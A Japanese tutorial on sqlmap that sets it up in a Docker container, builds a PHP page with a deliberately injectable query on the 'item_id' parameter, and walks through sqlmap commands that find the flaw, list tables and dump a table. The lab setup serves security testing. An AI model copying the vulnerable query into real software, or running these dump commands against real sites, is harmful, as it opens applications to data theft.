sqlmapを用いたSQLインジェクション脆弱性の検証

本稿では、自動SQLインジェクションツールであるsqlmapの基本的な使い方について解説します。特に、脆弱性のあるWebアプリケーションに対して、データベースの特定、テーブル構造の取得、そしてデータの抽出といった一連の操作をどのように実行するかをステップバイステップで示します。これにより、セキュリティテスト担当者は、アプリケーションがSQLインジェクションに対して脆弱であるかどうかを効果的に評価できるようになります。

1. sqlmapの環境構築

sqlmapはPythonで動作するツールです。ここでは、Dockerを利用して隔離された環境でsqlmapをセットアップする方法を紹介します。事前にDockerおよびDocker Composeがインストールされていることを前提とします。

1.1 Dockerコンテナの起動

Alpine Linuxイメージを基盤としたコンテナを起動し、その中で作業を行います。

docker run -it alpine sh

1.2 sqlmapのダウンロードと展開

コンテナ内で、GitHubからsqlmapのソースコードをダウンロードし、展開します。

wget https://github.com/sqlmapproject/sqlmap/tarball/master -O sqlmap.tar.gz
tar -zxvf sqlmap.tar.gz
mv sqlmapproject-sqlmap-* sqlmap
cd sqlmap

1.3 Pythonおよび依存関係のインストール

sqlmapの実行に必要なPython3とそのパッケージマネージャーであるpipをインストールします。

apk add --no-cache python3 py3-pip

1.4 sqlmapの動作確認

インストールが完了したら、sqlmapが正しく動作するかバージョン情報を確認して検証します。

python3 sqlmap.py --version

バージョン情報が表示されれば、sqlmapの準備は完了です。

2. 意図的にSQLインジェクションを組み込んだアプリケーションの準備

sqlmapのテスト対象として、HTTP GETリクエストのパラメータにSQLインジェクション脆弱性を持つPHPスクリプトを準備します。このスクリプトはMySQLデータベースに接続し、ユーザーからの入力に基づいてレコードを検索します。

get_product.phpというファイルを作成し、以下の内容を記述します。

<?php
// データベース接続設定
$dbHost = 'database_service'; // MySQLサービス名またはIPアドレス
$dbName = 'web_shop_db';     // データベース名
$dbUser = 'webuser';         // データベースユーザー名
$dbPass = 'strong_password'; // データベースパスワード

try {
    // PDOインスタンスの作成
    $dsn = "mysql:host={$dbHost};dbname={$dbName};charset=utf8mb4";
    $pdo = new PDO($dsn, $dbUser, $dbPass, [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES => false,
    ]);

    echo "データベース接続に成功しました。<br>";

    // リクエストから商品IDを取得(未検証)
    $productId = $_GET['item_id'] ?? ''; // 'item_id'パラメータを使用

    if (empty($productId)) {
        echo "item_id パラメータが指定されていません。例: ?item_id=1";
        exit;
    }

    // SQLインジェクション脆弱性のあるクエリの構築
    // $productId が適切にエスケープされていないため、SQLインジェクションが可能
    $sql = "SELECT product_id, product_name, price FROM products WHERE product_id = '{$productId}'";

    $stmt = $pdo->query($sql);

    // 結果の表示
    if ($stmt->rowCount() > 0) {
        echo "<h3>検索結果:</h3>";
        while ($row = $stmt->fetch()) {
            echo "<pre>" . htmlspecialchars(print_r($row, true)) . "</pre>";
        }
    } else {
        echo "指定された商品IDの商品は見つかりませんでした。";
    }

    // 接続を閉じる
    $pdo = null;

} catch (PDOException $e) {
    // 接続エラーまたはクエリ実行エラー
    error_log("データベースエラー: " . $e->getMessage());
    die("データベース接続または処理中にエラーが発生しました。");
}
?>

このPHPスクリプトをWebサーバー(例: Apache, Nginx)上で動作させ、http://your_web_server/get_product.php?item_id=1のようなURLでアクセスできることを確認してください。

3. sqlmapによるSQLインジェクションテスト

脆弱なWebアプリケーションに対してsqlmapを用いて、データベース情報の抽出プロセスを実演します。sqlmapが起動しているDockerコンテナ内で以下のコマンドを実行します。

3.1 基本的な脆弱性スキャン

まず、対象URLにSQLインジェクションの脆弱性があるかを確認します。ここでは、Webサーバーがhttp://target_host/get_product.phpで稼働していると仮定します。

python3 sqlmap.py -u "http://target_host/get_product.php?item_id=1"

sqlmapが様々なテストを実行し、脆弱なパラメータやインジェクションポイントを検出した場合は、その旨を報告します。

3.2 現在のデータベース名の取得

脆弱性が確認されたら、次にアプリケーションが接続している現在のデータベース名を取得します。

python3 sqlmap.py -u "http://target_host/get_product.php?item_id=1" --current-db

これにより、例えばweb_shop_dbといったデータベース名が特定されます。

3.3 特定データベース内のテーブル一覧の取得

ターゲットデータベース(例: web_shop_db)内に存在するテーブルの一覧を表示します。

python3 sqlmap.py -u "http://target_host/get_product.php?item_id=1" --tables -D web_shop_db

productsusersといったテーブル名が列挙されるはずです。

3.4 特定テーブルからのデータ抽出

最後に、特定のテーブル(例: products)から全てのデータを抽出(ダンプ)します。

python3 sqlmap.py -u "http://target_host/get_product.php?item_id=1" --dump -D web_shop_db -T products

これにより、productsテーブルに含まれる商品ID、商品名、価格などの情報がコンソールに出力されます。

より詳細なオプションやコマンドについては、python3 sqlmap.py --helpコマンドを実行して確認してください。

タグ: sqlmap SQL Injection Web Security Vulnerability Testing penetration testing

6月9日 16:35 投稿